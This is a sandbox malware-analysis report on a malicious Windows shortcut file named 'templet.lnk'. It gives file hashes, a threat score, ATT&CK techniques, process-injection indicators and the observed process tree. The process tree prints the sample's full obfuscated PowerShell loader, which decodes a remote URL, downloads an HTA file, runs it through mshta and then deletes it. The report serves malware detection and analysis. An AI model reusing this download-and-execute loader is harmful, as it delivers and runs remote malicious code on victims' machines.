c65b8b36cc9d85903ac6de8ee771408b482512097ff859e4ea06c75fbfafb3e3

Analysis

max time kernel
147s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
16/04/2024, 13:20

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

our project templet test/templet.lnk
Size

3KB
MD5

efc382d915ab91f89946554f5e6cc42a
SHA1

8b49368462651afa265273151a1e7d4ea19e6347
SHA256

beec3ec08fba224c161464ebcc64727912c6678dd452596440809ce99c8390fd
SHA512

c717e25018645bb9f92c903178baf1401dcd20b12c6b5dcd724e4a9fab3b2ee59559f8392ad2c57196f50d294b4594fcb786d2aa6d8b51044d0419bc051dc3d6

Score

7^/10

Malware Config

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-553605503-2331009851-2137262461-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4124	powershell.exe
4124	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4124	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 2704 wrote to memory of 4124	2704	cmd.exe	84
PID 2704 wrote to memory of 4124	2704	cmd.exe	84
PID 4124 wrote to memory of 3804	4124	powershell.exe	89
PID 4124 wrote to memory of 3804	4124	powershell.exe	89
PID 4124 wrote to memory of 3804	4124	powershell.exe	89

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\our project templet test\templet.lnk"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2704
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted $ProgressPreference = 0; function nvRClWiAJT($OnUPXhNfGyEh){$OnUPXhNfGyEh[$OnUPXhNfGyEh.Length..0] -join('')}; function sDjLksFILdkrdR($OnUPXhNfGyEh){ $vecsWHuXBHu = nvRClWiAJT $OnUPXhNfGyEh; for($TJuYrHOorcZu = 0;$TJuYrHOorcZu -lt $vecsWHuXBHu.Length;$TJuYrHOorcZu += 2){ try{$zRavFAQNJqOVxb += nvRClWiAJT $vecsWHuXBHu.Substring($TJuYrHOorcZu,2)} catch{$zRavFAQNJqOVxb += $vecsWHuXBHu.Substring($TJuYrHOorcZu,1)}};$zRavFAQNJqOVxb}; $NpzibtULgyi = sDjLksFILdkrdR 'aht1.sen/hi/coucys.erstmaofershma//s:tpht'; $cDkdhkGBtl = $env:APPDATA + '\' + ($NpzibtULgyi -split '/')[-1]; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $wbpiCTsGYi = wget $NpzibtULgyi -UseBasicParsing; [IO.File]::WriteAllText($cDkdhkGBtl, $wbpiCTsGYi); & $cDkdhkGBtl; sleep 3; rm $cDkdhkGBtl;
  2⤵
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4124
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\se1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    PID:3804

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_daofjf1v.2j2.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/4124-2-0x0000022DF2770000-0x0000022DF2792000-memory.dmp

Filesize
136KB

Download
memory/4124-12-0x00007FFD455C0000-0x00007FFD46081000-memory.dmp

Filesize
10.8MB

Download
memory/4124-14-0x0000022DF2830000-0x0000022DF2840000-memory.dmp

Filesize
64KB

Download
memory/4124-13-0x0000022DF2830000-0x0000022DF2840000-memory.dmp

Filesize
64KB

Download
memory/4124-17-0x00007FFD455C0000-0x00007FFD46081000-memory.dmp

Filesize
10.8MB

Download